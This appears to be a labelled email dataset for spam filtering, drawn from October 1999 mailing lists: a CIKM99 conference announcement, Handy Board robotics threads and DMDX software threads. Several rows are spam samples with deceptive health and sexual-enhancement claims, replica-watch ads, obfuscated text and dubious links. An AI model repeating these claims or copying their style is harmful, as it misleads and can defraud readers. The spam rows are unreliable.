1999, Seville Ballroom (2nd Floor) All workshop/symposium attendees are invited. The following workshops/symposium are planned in conjunction with ACM CIKM99 and please visit CIKM99 homepage above for more information on technical program of each workshop/symposium: W2(DOLAP99): Data Warehousing and OLAP (DOLAP99): Program Chair, Dr. I.Y. Song (songiy@drexel.edu); www.cis.drexel.edu/faculty/song/dolap.html or CIKM99 website W3(NPIVM99): Workshop on New Paradigms in Information Visualization and Manipulation (NPIVM99): Contact Charles Nicholas at nicholas@cs.umbc.edu or David Ebert at ebert@cs.umbc.edu or CIKM99 Website W4(GIS99): Symposium on Advances in Geographic Information Systems (GIS99): Program Chair, Dr. Claudia Bauzer Medeiros (cmbm@dcc.unicamp.br); www.dcc.unicamp.br/~cmbm/acmgis99 or CIKM99 homepage. W5(WIDM99): Web Information and Data Management (WIDM'99): Program Chair, Dr. Cyrus Shahabi (shahabi@usc.edu); http://dimlab.usc.edu/widm99 or visit CIKM99 homepage. ------------------------------------------------------------------------------- DETAILED DESCRIPTIONS OF TUTORIALS: T2 (Models in IR): MODELS IN INFORMATION RETRIEVAL, INCLUDING CROSS LANGUAGE RETRIEVAL by Fredric C. Gey, University of California COURSE DESCRIPTION: Information retrieval algorithms have emerged as the key to effective search of large collections of unstructured text such as found on the Internet. Vector space algorithms are used by Lycos and AltaVista, while Inktome uses a probabilistic document retrieval algorithms. The three major theoretical models in information retrieval are Boolean/logic, vector space, and probabilistic. This tutorial will explain the unique characteristics and problems of each model and how each model has evolved along different lines. Modern variants of the basic models are explained. A major application area of IR is in cross-language retrieval, which combines linguistic techniques with traditional mono-lingual retrieval techniques. This is a burgeoning research area and deserves special devoted attention to the techniques of machine translation, bilingual dictionaries, and corpora-based learning. I will also discuss the special challenges of Asian language retrieval (Japanese, Chinese, Indian subcontinent languages). The attendees of this tutorial will obtain a basic understanding of the major theoretical models upon which modern text retrieval software is based. The tutorial should provide each participant with a starting point for further elf-education. 1/2 hour Background and historical development Luhn and statistical text characteristics Statistical weights and the IDF concept 1/2 hour Boolean set and logic models Fuzzy logic (RUBRIC/TOPIC) Weighted boolean and P-Norm (INQUERY) Recent logic models 1/2 hour Vector space and geometric models Basic vector similarity measures Latent Semantic Indexing Probabilistic models Inference nets and neural network approaches Regression models 1 hour Cross-language retrieval dictionary and machine-translation approaches learning from bi-lingual corpora special challenges of Asian languages 1/2 hour Performance measurement and analysis Recall, precision, fallout measures Limitations to performance assessment -- interjudge consistency, completeness Statistical significance tests Materials: 110 Course overheads provided WHO SHOULD ATTEND: This course is designed to provide a fast-paced yet rigorous introduction to the basic models of Information Retrieval for academic and industrial research and development computer scientists whose background lies outside the Information Retrieval area. T3 (Info System): Spatio-Temporal Information Systems: A Conceptual Perspective by Christine PARENT, Stefano SPACCAPIETRA, and Esteban ZIMANYI COURSE DESCRIPTION: Despite the well-established benefits of conceptual modeling for application design, current spatio-temporal models do not cope satisfactorily with designers' requirements. In this tutorial we first identify the goals of a spatio-temporal conceptual model and then we describe the MADS model along the structural, spatial, and temporal dimensions. As the modeling concepts are orthogonal, the proposed model achieves both simplicity (as concepts are independent from each other) and expressive power (as concepts may be freely associated). The model has been implemented and can be translated to operational models of existing products. The tutorial briefly describes the architecture we defined for providing users with a set of conceptual interfaces for defining and accessing spatio-temporal information systems. Finally, the tutorial reports on results of an experimentation which allowed us to assess the qualities of the model. KEYWORDS: information systems, conceptual modeling, data models, spatial databases, temporal databases, database design, GIS, geographic information systems, CASE tools, practical experiments. OUTLINE OF THE TUTORIAL: 1 Introduction 1.1 State of the Art Review of different spatial and temporal database models showing that they do not answer satisfactorily to users' requirement. 1.2 The MADS Conceptual Model General objectives pursued in the development of the MADS (Modeling of application Data with Spatio-temporal features) model. 2 Modeling Classical Data Structural features of the MADS model: object types, relationship types, attributes, generalization links, aggregation links, and associated integrity constraints. 3 Modeling Spatial Characteristics 3.1 Description of Spatiality Description of the spatial abstract types supported by the MADS model. Generalization hierarchy of these abstract types. 3.2 Spatial Attributes and Object Types Associating spatiality to information as well as the corresponding constraints. 3.3 Interior and Envelope of Spatial Objects Definition of the concepts of envelope, interior, and topological relationships for general composite objects. 3.4 Spatial Relationship Types Explicitly describing spatial relationships in conceptual schemas. Two categories of spatial relationships: topological relationships and spatial aggregation. 3.5 Space-varying Attributes Describing continuous fields using a first-class concept: reconciliating the discrete (vector) view and the continuous (raster) view. 3.6 Generalization and Spatiality Semantics of generalization when it relates spatial and non-spatial object types. Inheritance mechanisms when the spatiality of the supertype is referred in the subtype: redefinition and refinement. 4 Modeling Temporal Characteristics 4.1 Temporal Attributes Assigning temporality to attributes, both simple and complex: semantics and associated integrity constraints. 4.2 Temporal Object Types Assigning temporality to objects: life cycle of objets. Temporal objects having temporal attributes. 4.3 Generalization and Temporality Semantics of generalization when it relates temporal and non-temporal object types. Inheritance mechanisms when the temporality of the supertype is referred in the subtype: redefinition and refinement. 4.4 Temporal Relationship Types Assigning temporality to relationships. Semantics of non-temporal/temporal relationships relating non-temporal/temporal objects. 4.5 Modeling Temporal Dynamics Describing inter-object dynamics where time plays an essential role. Categories of temporal relationships: transition relationship, generation relationship, timing relationship, and snapshot aggregation. 5 Implementation 5.1 Architecture of MADS Implementation Providing to users a set of conceptual interfaces for spatio-temporal informations systems: visual schema editor, visual query editor, sketch interface, cartographical interface, front-end to the underlying GIS/DBMS 5.2 The GESREAU Application Example application in which the MADS model was used for the management of water resources of the Vaud county in Switzerland. 6 Conclusions and Perspectives T4 (Data Mining/Large DB): Recent Advances in Data Mining Algorithms on Large Databases by Rajeev Rastogi and Kyuseok Shim, Bell Lab Level : Intermediate. Intended Audience : Professionals who would like to get introduced to/know about the state of the art data mining techniques and products for large databases. COURSE DESCRIPTION: A large number of corporations have invested heavily in information technology to manage their businesses more effectively, and vast amounts of critical business data have been stored in database systems. The volume of this data is expected to grow considerably in the near future. Yet many organizations have been unable to collect valuable insights from the data to guide their marketing strategy, investment and management policies. One of the reasons for this is that most information is stored implicitly in the large amounts of data. Fortunately, new and sophisticated techniques being developed in the area of data mining can help companies leverage their data more effectively and extract insightful information from their data. This tutorial describes the fundamental algorithms for data mining, many of which have been proposed in recent years. These techniques include association rules, correlation, causal relationship, clustering, outlier detection, similar time sequences, similar images, sequential patterns and classification. In addition, since we will cover technical material in some degree of depth, the audience will get a good exposure to the results in the area, and also future research directions. Tutorial Outline: The following topics will be discussed during the tutorial. 1. Introduction : Brief overview and discussion on data mining techniques developed for large databases. 2. Association Rules and Sequential Patterns: Presents association rules, optimized association rules, sequential patterns, correlations, and causal relationships. Also covers the idea of pushing constraints on these algorithms. 3. Bayesian Network Introduce the concept of Bayesian networks and their role in mining causal relationships. 4. Classification : Describes the state of the art classifiers for large databases. These include PUBLIC, BOAT, Rain-Forest, SLIQ and SPRINT algorithms. We also cover nearest neighbor and Bayesian classifiers. 5. Clustering : Covers the characteristics of traditional clustering algorithms and present techniques developed for large databases. We cover CURE, ROCK, CLARANS, DBSCAN, BIRCH and CLIQUE algorithms. 6. Similar Time Sequences and Similar Images: Describe the existing techniques developed for similar time sequences and similar image retrieval. We also cover QBIC, WBIIS and WALRUS systems that are developed for similar image retrieval algorithms. 7. Outlier Detection algorithms. We present the recent techniques developed for mining outliers from large databases. 8. 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All no-show registrations will be billed in full. * Please visit our WWW site for up-to-date CIKM99/Workshops/Tutorials program information and related activities: http://www.cs.umbc.edu/cikm/1999 ",0,1 """Fred G. Martin"" ",handyboard@media.mit.edu,"Mon, 25 Oct 1999 21:26:13 +0000",Re: MOTOR DRIVERS,"It won't necessarily fry the chip. L293s (and the TI equivalent) have a thermal protection mode. If the chip gets too hot, it will turn itself off. Most of the time, this protects the chip against over-current. However, it is still possible to fry the chip with a current spike that will do it in before the overheat protection can kick in. Fred In lugnet.robotics.handyboard, handyboard@media.mit.edu (Larry Kruzan) writes: >> Question? >> >> When using a motor which will exceed the driver chip max current, will >> that fry the chip or the handy board? >> >> Paul > >Hi Paul, > >I think it would take out the chip, but I am currently doing this by >installing a oversize heatsink & fan to the controller chip and pulsing the >motor instead of constant current. Exceeding the max current capacity but, >limiting duration and increasing heat dissipation works. Sometimes. :o) > >Lar ",0,0 ludo soete ,handyboard@media.mit.edu,"Mon, 25 Oct 1999 21:30:27 +0000",Re: MOTOR DRIVERS,"In lugnet.robotics.handyboard, handyboard@media.mit.edu (Paul DaCosta) writes: >Question? > >When using a motor which will exceed the driver chip max current, will >that fry the chip or the handy board? > Hi Paul, I don't know how the handyboard is protected against overload but one thing is for sure : if you overload the driver chip ... this one will fry up.In worst case you'll fry the board as well. If a driver chip's maximum current is 1 Amp. then don't go over this limit! Also, if possible,place a heathsink on the driver chip surface, this will keep the chip 'cooler' and protect it better against thermal breakdown. Uncooled is the output current much lower than cooled. For more details (if possible) check the data sheets from the driver chip. > > regards, Ludo > ",0,0 �̽��� ,handyboard@media.mit.edu,"Mon, 25 Oct 1999 18:55:39 +0100",============== 15.88 ���ʿ� ���� ���Ϸ� �� ��..�� �ذ��ϼ���. ============= . m,������ ���������� ���� ���� ������ ������ ������ ������ ������ ������������ �� ���� ������ ������ �������� ��������. st hru kiz wkld evq lhgxzh,1,1 """Musket J. Jagged"" ",Bait ,"Mon, 25 Oct 1999 12:54:57 -0400",replica watches,"REPLICA //ATCHES BAZAAR! Chose your favorite /// a t c he $$$!!!!! http://0b6t5hne5voez0iyni0g5iii.putchenhi.com gift b0xes available! glashutte original @. lange audemars piguet bmw breguet breitling bvlgari cartier chopard chronoswiss corum franck muller longines maurice lacroix montblanc omega panerai patek philippe piaget tag heuer ulysse nardin vacheron constantin VIP Breguet alain silberstein //arranty!!! Manufacturers' defects are covered by 30 -days' warranty from the day you receive it. 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Bill Denzel ",0,0 Linda Tackett ,handyboard@media.mit.edu,"Tue, 26 Oct 1999 03:39:00 +0100",Weight Loss in 7 Days IekZrV," Revolutionary ""Hoodia"" which works effectively burning fats without hunger, chemicals intake or heavy exercise. Suppress your appetite and enjoying your very nice V-Shape body in just a week. You won't regret. http://043.priiceofhealth.com MVVZL ",1,1 Kevin M Peterson ,handyboard@media.mit.edu,"Tue, 26 Oct 1999 02:29:43 -0400",fried memory,"I suspect that I fried my memory chip. The handyboard downloads Pcode perfectly, but when it tries to synchronize with interactive C, I get an error. While the board is off the 62256-12LP and the 74HC132 chips stay hot. is there a good diagnostic that I can perform to see whether or not the chip is actually dead? thanks -Kevin Peterson ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Tue, 26 Oct 1999 12:08:50 +0000",Re: fried memory,"it might not be permanently dead, but if it's not, it's not working. one (or more) of the outputs of these two chips is probably shorted to ground or shorted to +5v. the chips get hot when they try to drive this output to a state other than the one it is shorted to. with power off, get out your voltmeter and measure continuity from each of the hc132 and ram pins to +5v and gnd. find the pin(s) that stuck in one of these states and shouldn't be. fred In your message you said: > I suspect that I fried my memory chip. The handyboard downloads > Pcode perfectly, but when it tries to synchronize with interactive C, > I get an error. While the board is off the 62256-12LP and the 74HC132 > chips stay hot. is there a good diagnostic that I can perform to see > whether or not the chip is actually dead? > > thanks > -Kevin Peterson > ",0,0 Stephan Adelsberger ,handyboard@media.mit.edu,"Tue, 26 Oct 1999 02:40:14 +0200",Eltec 442 Pyroelectric Sensor,"Hi, I purchased an Eltec 442-3 Pyroelectric Sensor from acroname. I know pin 1 is V+ 5V but I don't know how I should connect pin 2,3,4 to my handy bord/expansion board. I want to use the sensor for detecting people and/or candles. How do I connect the sensor to my scope to test it or experiment with it? Thank you in advanced. ------- Home page www.go.to/robot ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 26 Oct 1999 17:06:10 +0100",[DMDX] PCI Input cards,"Hi. Can anyone recommend a PCI input card for use with DMDX. We have been using Keighley ISA cards up until now. Are their PCI cards any good? Has anyone come across any problems with any PCI cards? Thanks - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 26 Oct 1999 09:22:45 -0700",[DMDX] Re: PCI Input cards,"At 05:06 PM 10/26/99 +0100, you wrote: >Hi. Can anyone recommend a PCI input card for use with DMDX. We have been >using Keighley ISA cards up until now. Are their PCI cards any good? Has >anyone come across any problems with any PCI cards? Computer Boards make a PCI PIO-12 clone but we haven't tested it. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Success, as I see it, is a result, not a goal. - Gustave Flaubert (1821-1880) ",0,0 Paul DaCosta ,Handyboard ,"Tue, 26 Oct 1999 10:12:36 -0400",64K UPGRADE,"When upgrading to 64K, could that be done when still using Interactive C? By the way, what's the main difference between 2.8 and 3.X versions? Advantanges and Disavantages!!! Thanks, Paul ",0,0 Salpi Aroyan ,handyboard@media.mit.edu,"Tue, 26 Oct 1999 14:56:51 +0000",line-followers,"Hi all, I would greatly appreciate information on line-followers and oscillating DC wire-followers to use with the Handy Board. Which models are the most practical? Where can I find the specs and instructions for these models? What is the code for each to be interfaced with the Handy Board? Thanks for your help. Salpi ",0,0 Christopher Prosser ,handyboard@media.mit.edu,"Tue, 26 Oct 1999 09:22:25 -0700",Re: MOTOR DRIVERS,"I also remember seeing people piggybacking the L293s to double the current capability. Thoughts? -chris ----- Original Message ----- From: Fred G. Martin To: Sent: Monday, October 25, 1999 2:26 PM Subject: Re: MOTOR DRIVERS > It won't necessarily fry the chip. > > L293s (and the TI equivalent) have a thermal protection mode. If the chip gets > too hot, it will turn itself off. Most of the time, this protects the chip > against over-current. > > However, it is still possible to fry the chip with a current spike that will do > it in before the overheat protection can kick in. > > Fred > > > In lugnet.robotics.handyboard, handyboard@media.mit.edu (Larry Kruzan) writes: > >> Question? > >> > >> When using a motor which will exceed the driver chip max current, will > >> that fry the chip or the handy board? > >> > >> Paul > > > >Hi Paul, > > > >I think it would take out the chip, but I am currently doing this by > >installing a oversize heatsink & fan to the controller chip and pulsing the > >motor instead of constant current. Exceeding the max current capacity but, > >limiting duration and increasing heat dissipation works. Sometimes. :o) > > > >Lar >",0,0 Pansy ,handyboard@media.mit.edu,"Tue, 26 Oct 1999 06:56:00 -0700",be thin like Parr ,"Wow, this stuff really works. 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I also have contact details for Computer Boards if that's useful. Michael Johnston ------------------------------- Dr Michael Johnston School of Psychological Science La Trobe University Bundoora VIC 3083 Australia Phone: +61 3 9479 1736 Fax: +61 3 9479 1956 Web Address: http://www.psy.latrobe.edu.au/Staff/johnstnm.htm ",0,1 Dave Morgan ,info@gso.bu.edu,"Tue, 26 Oct 1999 17:49:15 -0400","Meeting this Thursday, MCS 135 @5:30-6:45"," Hi, There is a GSO meeting this Thursday, October 28, at 5:30-6:45 in MCS 135. All graduate students in the Graduate School of Arts and Sciences are welcome to attend. We'll have FREE PIZZA AND SODA! In this meeting we'll: -Finalize committees. If you are interested in serving on a committee, please come to this meeting, or e-mail joincommittee@gso.bu.edu. If e-mailing, please indicate on which committee you are interested in participating. For a list and brief description of the committees, see http://gso.bu.edu. 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",0,1 ,,,,"] (helo=han.isotropy.dearriba.com) by smtp2.cistron.nl with esmtp (vee 3.35 #1 (solicitor)) id 736LFL-0066PT-86 Message-ID: <08453193144732.R37410@madras.noc.amongst.gr> Sender: freeradius-devel-CMUYAZR@simcoecounty.com X-Mailman-Version: 2.0.1 Date: Tue, 26 Oct 1999 21:20:29 -0200 From: ""Lorna Mcgill"" To: handyboard@media.mit.edu Subject: Lycos -Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://www.dcbentnails.info farm plan monogamous raspberry acton collapse immigrate adopt cloddish bubble mink auntie catalogue brigham liken who abscissa curiosity symbiotic bitumen armature objectivity provide ready approximate rankin counterpoise providential agglutinin stipend lizzie errancy timid utile refract except emission laban concerti ii newcomer harm arden a breakaway electroencephalography bosonic octennial croupier appointe carthaginian decollimate seafare ineducable",1,1 Edward Delaney ,handyboard@media.mit.edu,"Tue, 26 Oct 1999 21:37:41 -0400",Re: Sharp GP2D02 with out expansion board," Gary, Cool! Could you tell me how you wired it up? I'm a real beginner here and don't know exactly what you mean on that web page by: ""This example assumes that port PA5 on the Handy Board was connected to the input of the GP2D02 detector and that port PA0 on the Handy Board was connected to the output of the GP2D02 detector."" How did you make the conenction to PA5. Where are the other wires connected? THANKS, ed At 10:12 AM 10/18/1999 -0700, Gary Livick wrote: >Yep, I did. See http://www.acroname.com/robotics/info/examples/GP2D02-2/GP2D02-2.html. > >Gary Livick > > > >Gregory Hayward wrote: > >> Handyboard Community, >> >> Has anyone written code for the GP2D02 sensor without the expansion board. I have a group of High school kids that have KISS institute robot kits. This kit comes with a handyboard and LEGO's but no expansion board. Being on a limited budget we can't upgrade these systems this year. >> >> Any help on this would be appreciated. >> >> Greg > > > ----------------------------------------------------------------- Ed Delaney edelaney@sctcorp.com (work) or edwardd@earlham.edu (everthing else) http://www.earlham.edu/~edwardd ",0,1 Jonathan Pennington ,Handyboard list ,"Tue, 26 Oct 1999 23:03:25 -0400",motor current trick,"I've got a great R/C track vehicle that I want to use as a robot chassis, problem is the 1 Amp motors. I was going to use Kam's suggestion, but then I saw the Sonar schematics. I noticed that the sonar schematics have power coming from the motor outputs in parallel to increase the current to the sensors range. Can I do that with a motor? It seems that I could code it so that one call starts two motor outputs simultaneously, and run the outputs in parallel to get a current pretty near 1A. That's even simpler than Kam's idea. Of course, I'm assuming that since I haven't seen it brought up before, that it's not a good option, I just like to keep things simple. I don't want to stress anything, but it seems to me that that would work. Any ideas? -- ___________________________________________________________________________ Jonathan Pennington | -Wannabe Geologist/Anthropologist Charleston, SC | -Linux User and Advocate Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" root@localhost (Spambot food) | 71 Triumph TR6C ""Money Pit"" ---------------------------------------------------------------------------- ",0,0 Cal Marcelino ,handyboard@media.mit.edu,"Tue, 26 Oct 1999 15:55:17 -0700",Re: fukum news,"Dea k r Home O h wne i r , Your cr r ed w it doesn't matter to us ! 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V g isi i t our j site Sincerely, Cal Marcelino A l pprov t al Manager",1,1 Nick Taylor ,handyboard@media.mit.edu,"Tue, 26 Oct 1999 20:13:51 -0700",Re: motor current trick,"A couple of easy things that you can do to increase the current capabilities of the motor drivers are: (1) replace the L293Ds with SN754410 chips (available from Acroname), and (2) piggyback one H-bridge chip on top of the other to handle almost double the max current. I haven't tried paralleling the motor driver outputs myself, but I seem to remember it being mentioned on this list some time ago. Good luck, - Nick - Jonathan Pennington wrote: > > I've got a great R/C track vehicle that I want to use as a robot > chassis, problem is the 1 Amp motors. I was going to use Kam's > suggestion, but then I saw the Sonar schematics. I noticed that the > sonar schematics have power coming from the motor outputs in parallel to > increase the current to the sensors range. Can I do that with a motor? > It seems that I could code it so that one call starts two motor outputs > simultaneously, and run the outputs in parallel to get a current pretty > near 1A. That's even simpler than Kam's idea. > > Of course, I'm assuming that since I haven't seen it brought up before, > that it's not a good option, I just like to keep things simple. I don't > want to stress anything, but it seems to me that that would work. Any > ideas? > -- > ___________________________________________________________________________ > Jonathan Pennington | -Wannabe Geologist/Anthropologist > Charleston, SC | -Linux User and Advocate > Email at jwp(at)awod.com | 83 V45 Magna ""The Lighter Side"" > root@localhost (Spambot food) | 71 Triumph TR6C ""Money Pit"" > ---------------------------------------------------------------------------- ",0,0 TH0RMAN23@aol.com,"wdenzel@polymail.cpunix.calpoly.edu, handyboard@media.mit.edu","Tue, 26 Oct 1999 23:33:00 -0400",Re: Expansion Board and Smooth PWM,"Bill, after unzipping the files, copy all the downloaded drivers into your interactive C Libs directory. These drivers must reside in this directory (drive:\\IC\\Libs) in order for IC to load them at startup. You will be asked if you want to replace these files, choose yes to all of them and make sure your master list (lib_hb.lis) look something like this: lib_hb.c lib_hb.icb libexpbd.icb expsens.c expservo.icb explego.icb ",0,0 Henry Duong ,handyboard@media.mit.edu,"Wed, 27 Oct 1999 00:26:00 -0700",Debugging," I am developing a course at SJSU using the handyboard as the microcontroller for a competition being held at the end of the semester. This new course have us build the handyboard from scratch and go through the debugging process. I have help some people go through some of the basic debugging process, but I would also like to know what kind of other problem people from the mailing list have encounter and how it was resolve. I plan to use these debugging ideas as a manual later use to help other people debug their board when they encounter the same problems. Thank you Henry ===== __________________________________________________ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com ",0,1 John Hatton ,"Handyboard Mailing List , ""MERTINY, LIONEL"" ","Wed, 27 Oct 1999 09:36:09 +0100",Re: Servo 16 pgm +SPI on HC11,"I have to admit that I have not actually finished the project, work commitments meant that it was shelved for a while. The easiest way to communicate to the HC11 is to use the software from the HB website that allows you to use one of the pins on one of the ports (I think it is PA7 but I'm not sure without looking it up) as a serial output. This should work unless you want to use the analogue inputs from the HC11 board. As to using the SPI port I thought that this was a synchronous port rather than the asynchronous serial port that is needed, correct me if I'm wrong. John -----Original Message----- From: MERTINY, LIONEL To: 'johnhatton@email.com' Date: 27 October 1999 05:07 Subject: FW: Servo 16 pgm +SPI on HC11 >I found another adress for you on the HB mail list ... > >> -----Original Message----- >> From: MERTINY, LIONEL >> Sent: Tuesday, October 26, 1999 10:14 PM >> To: 'JohnHa@icsplc.co.uk' >> Subject: Servo 16 pgm +SPI on HC11 >> >> John, >> >> I saw your mail on the Handy Board mailing list regarding the program of >> Erik de la Iglesia to control 16 servos with a HC11. I have the program >> and the documentation, but I am still having problems to adapt the program >> to use the SPI port instead of the SCI. >> Do I have to simply modify the PUTCHAR and GETCHAR routines to use the >> SPCR reg instead of the SCSR ? >> >> Thanks by advance for any help, >> >> Lionel >",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Wed, 27 Oct 1999 14:16:14 +0100",[DMDX] Re: DMDX and Chinese,"Sorry for the delay in getting back about this... >At 11:53 AM 10/19/99 +0100, you wrote: >>Time for a new non-Latin alphabet language and the concomitant problems. >>In Chinese Windows 98, in TimeDX\\Input, when we run the test of the >>keyboard, this works fine and even displays chinese for the last three >>items ('power', 'sleep', 'wake'). However when we try to run an RTF file >>in DMDX, we get an error message about not being able to find the input >>device 'keyboard'. I assume this is some kind of keyboard driver problem? > Look at the device name in TimeDX, I'll bet it's not ""Keyboard"". You >need ""id chineseforkeyboard"". Same thing goes for other language versions >of win32. When we run TimeDX, the device name is in Chinese and says simply 'keyboard' (so I am told by Tai-Li). I tried and got the same error message about unknown device again. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox",0,1 Vivek Vivekanandan ,handyboard@media.mit.edu,"Wed, 27 Oct 1999 08:42:21 -0400",GP2D05,"Hi Anybody got the GP2DO5 IR module working with the Handyboard (without expansion board) using IC ? I always seem to get a Logic ""1"" from the detector even if there are no obstacles in front of the detector. Any hints will be greatly appreciated. thanks vivek ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 27 Oct 1999 08:59:49 -0700",[DMDX] Re: PCI Input cards,"At 09:39 AM 10/27/99 +1000, you wrote: > > >>>Hi. Can anyone recommend a PCI input card for use with DMDX. We have been >>>using Keighley ISA cards up until now. Are their PCI cards any good? Has >>>anyone come across any problems with any PCI cards? >> >> Computer Boards make a PCI PIO-12 clone but we haven't tested it. > >We've been using a Computer Boards card, called the CIO-DIO24 (I assume >this is the one Jonathan is referring to), and haven't had any problems >with it. I also have contact details for Computer Boards if that's useful. I think you'll find that's the ISA version of the card, the one we use. The PCI version has a different name. I don't see any reason why it wouldn't work however. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Success, as I see it, is a result, not a goal. - Gustave Flaubert (1821-1880) ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 27 Oct 1999 09:05:41 -0700",[DMDX] Re: DMDX and Chinese,"At 02:16 PM 10/27/99 +0100, you wrote: >Sorry for the delay in getting back about this... > >>At 11:53 AM 10/19/99 +0100, you wrote: >>>Time for a new non-Latin alphabet language and the concomitant problems. >>>In Chinese Windows 98, in TimeDX\\Input, when we run the test of the >>>keyboard, this works fine and even displays chinese for the last three >>>items ('power', 'sleep', 'wake'). However when we try to run an RTF file >>>in DMDX, we get an error message about not being able to find the input >>>device 'keyboard'. I assume this is some kind of keyboard driver problem? > > >> Look at the device name in TimeDX, I'll bet it's not ""Keyboard"". You >>need ""id chineseforkeyboard"". Same thing goes for other language versions >>of win32. > >When we run TimeDX, the device name is in Chinese and says simply >'keyboard' (so I am told by Tai-Li). I tried >and got the same error message about unknown device again. Well the code in TimeDX that displays the names of devices is the same code in DMDX that does a stricmp() so if it can't find a device it's because the strings don't match. Either you are missing something cruel like a trailing space or the item file has some special RTF code that isn't getting parsed out correctly (which I'd bet is impossible). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Success, as I see it, is a result, not a goal. - Gustave Flaubert (1821-1880)",0,0 Danny Gratton ,handyboard@media.mit.edu,"Wed, 27 Oct 1999 16:11:57 +0000",Sonar Sensor,"I'm designing a robot detection/obstacle avoidance system. And I want to install some Sonar sensor. I'm wondering if anyone would know of any good sonar sensor that can easily be used with the HB and that give good results? Any info on this would be excellent! ",0,0 Kam K Leang ,Danny Gratton ,"Wed, 27 Oct 1999 11:14:53 -0600",Re: Sonar Sensor,"Try the Polaroid sonar sensors available from http://www.acroname.com The HB site has the info on how to hook it up to the Handy Board including the IC drivers. The Polaroid sonar works very well! Good luck, kam On Wed, 27 Oct 1999, Danny Gratton wrote: > I'm designing a robot detection/obstacle avoidance system. And I want to > install some Sonar sensor. I'm wondering if anyone would know of any good > sonar sensor that can easily be used with the HB and that give good results? > Any info on this would be excellent! > ======================================================== Kam Leang University of Utah Department of Mechanical Engineering MEB Room 2202 Salt Lake City, Utah 84112 (801) 581-7105 http://www.mech.utah.edu/~kleang ======================================================== ",0,1 James Munro ,Kam K Leang ,"Wed, 27 Oct 1999 13:20:34 -0500",Re: Sonar Sensor,"> Try the Polaroid sonar sensors available from http://www.acroname.com > > The HB site has the info on how to hook it up to the Handy Board including > the IC drivers. The Polaroid sonar works very well! Yep, I've checked out about every page I've seen on this. I just haven't had the time to do it yet. :| As soon as our competition is over and classes settle down (maybe in 3 years :()) I will get a chance to experiment with it. When will you be shipping ready with the Handyboards? Will you be offering the serial/charging thing too? I assume you'll be selling the same thing as acroname? Thinking of the LCD terminal is quite nice! Thanks, Jim M. ",0,1 Nick Taylor ,handyboard@media.mit.edu,"Wed, 27 Oct 1999 11:36:20 -0700",Re: Sonar Sensor,"Danny, The Polaroid 6500 is very common, and if you have the expansion board on your HB you have a built in connection. There are drivers on the MIT HandyBoard site. The units are available from Acroname and they also have a good fact sheet. http://el.www.media.mit.edu/projects/handy-board/software/sonar.html http://www.acroname.com/robotics/info/articles/sonar/sonar.html Before deciding on sonar for ranging you might take a look at using the GP2D02 IR ranging unit. Info at: http://www.acroname.com/robotics/parts/R19-IR02.html If you are only looking for obstacle detection/avoidance, then a simple IRPD unit will be easier and cheaper. Dennis Clark has one that works well at: http://www.verinet.com/~dlc/botlinks.htm Have fun, - Nick - Danny Gratton wrote: > > I'm designing a robot detection/obstacle avoidance system. And I want to > install some Sonar sensor. I'm wondering if anyone would know of any good > sonar sensor that can easily be used with the HB and that give good results? > Any info on this would be excellent! ",0,1 Ramon Carmichael ,handyboard@media.mit.edu,"Wed, 27 Oct 1999 21:49:46 +0600",Improve self esteem and confidence ,"Summer is coming, did you look in the mirror lately? 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If the wheels are commanded to turn and aren't, that's a good indication that something is screwy. Plus, if you're doing dead reckoning, you need them anyway so they are already there! Gary Livick Paul Dito wrote: > Hi all, I'm working on a dead reckoning 'bot. I'm not really interested in > what the wheels are doing unless they're stalled. Anyone know any good > tricks for monitoring the motor current, or should I go with shaft encoders > anyway? > > Thanks! > Paul ",0,0 Jeroen van der Vegt ,handyboard@media.mit.edu,"Wed, 27 Oct 1999 22:41:55 +0200",Re: stalled motor detection,"If a motor stalls, it draws a lot of current (compared to normal operation). You can measure that quite easilyusing dedicated chip, or by measuring the voltage over a small resistor in series with the motor: if more current is draw, the voltage drop over the resistor will increase. You will however lose a little voltage also when the motor is not stalled. Jeroen van der Vegt. Ps. does anybody know where to get the Polaroid 6500 sonar thing in Holland? ----- Original Message ----- From: Paul Dito To: Sent: Wednesday, October 27, 1999 9:21 PM Subject: stalled motor detection > Hi all, I'm working on a dead reckoning 'bot. I'm not really interested in > what the wheels are doing unless they're stalled. Anyone know any good > tricks for monitoring the motor current, or should I go with shaft encoders > anyway? > > Thanks! > Paul >",0,0 Dave Nagel ,handyboard@media.mit.edu,"Wed, 27 Oct 1999 23:23:06 +0000",Not necessarily the handyboard....,"I have an old 486 laptop and a 